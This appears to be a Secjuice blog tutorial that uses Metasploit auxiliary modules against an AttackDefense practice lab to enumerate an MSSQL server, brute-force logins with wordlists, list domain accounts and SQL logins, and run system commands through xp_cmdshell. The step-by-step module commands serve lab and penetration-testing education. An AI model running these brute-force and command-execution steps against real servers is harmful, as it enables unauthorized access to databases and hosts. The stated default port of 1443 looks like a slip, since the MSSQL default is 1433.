Metasploit MSSQL Server Recon

Learn how to perform MSSQL server reconnaissance using metasploit.

Metasploit MSSQL Server Recon

Hello fellow Secjuice readers! I am back with another post on mssql recon. In my last post, you will have read how Nmap worked against mssql server. In this post, I will be using Metasploit to do the same thing, from version to executing the arbitrary commands.

The lab used for demonstration in this post is provided by AttackDefense. You can try this lab on your own from here –

Before moving forward, find out the PORT that the server is running on. This is the only time I will use Nmap, Metasploit lacks the port scanning that Nmap has.

nmap -sV --top-ports 65535

The server is running on default port  1443

In Metasploit, you have a lot of auxiliaries to play around

Q1. Enumerate MSSQL configuration

In this case, you have to use the first auxiliary auxiliary/admin/mssql/mssql_enum

msf6 > use auxiliary/admin/mssql/mssql_enum
msf6 auxiliary(admin/mssql/mssql_enum) > set rhosts
rhosts =>
msf6 auxiliary(admin/mssql/mssql_enum) > run

You will get this overwhelming information to consume. without knowing any user/password it can dump so many details

OS: Windows Server 2016
Edition: Datacenter 10.x
SQL Server: Microsoft SQL Server 2019 RTM
XP CMDSHELL Status: Enabled (It can be used to execute arbitrary system commands).

Q2. Discover valid users and their passwords

In this case, you have to use auxiliary/scanner/mssql/mssql_login auxiliary to brute force login credentials

msf6 > use auxiliary/scanner/mssql/mssql_login
msf6 auxiliary(scanner/mssql/mssql_login) > set rhosts
rhosts =>
msf6 auxiliary(scanner/mssql/mssql_login) > set user_file Desktop/wordlist/
100-common-passwords.txt  common_users.txt          
msf6 auxiliary(scanner/mssql/mssql_login) > set user_file Desktop/wordlist/common_users.txt
user_file => Desktop/wordlist/common_users.txt
msf6 auxiliary(scanner/mssql/mssql_login) > set pass_file Desktop/wordlist/100-common-passwords.txt
pass_file => Desktop/wordlist/100-common-passwords.txt
msf6 auxiliary(scanner/mssql/mssql_login) > set verbose false 
verbose => false
msf6 auxiliary(scanner/mssql/mssql_login) > run

Q3. Enumerate all available system users

For this task, you need to use auxiliary/admin/mssql/mssql_enum_domain_accounts an auxiliary module from Metasploit.

msf6 > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set rhosts
rhosts =>
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > run

Q4. Execute a command on the target machine

To execute any command on the mssql you need to execute the auxiliary/admin/mssql/mssql_exec module. It will only work if xp_cmdshell is enabled in the mssql. To check this, you need to get the server config, see Q1

msf6 > use auxiliary/admin/mssql/mssql_exec 
msf6 auxiliary(admin/mssql/mssql_exec) > set rhosts
rhosts =>
msf6 auxiliary(admin/mssql/mssql_exec) > set cmd whoami
cmd => whoami
msf6 auxiliary(admin/mssql/mssql_exec) > run
msf6 auxiliary(admin/mssql/mssql_exec) > set cmd "echo %cd%"
cmd => echo %cd%
msf6 auxiliary(admin/mssql/mssql_exec) > run

Q5. Enumerate all MSSQL logins

To get system users, you need to execute auxiliary/admin/mssql/mssql_enum_sql_logins module from Metasploit

msf6 > use auxiliary/admin/mssql/mssql_enum_sql_logins
msf6 auxiliary(admin/mssql/mssql_enum_sql_logins) > get RHOSTS 
msf6 auxiliary(admin/mssql/mssql_enum_sql_logins) > set rhosts
rhosts =>
msf6 auxiliary(admin/mssql/mssql_enum_sql_logins) > run

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The awesome artwork used in this article was created by Dmitry Mel.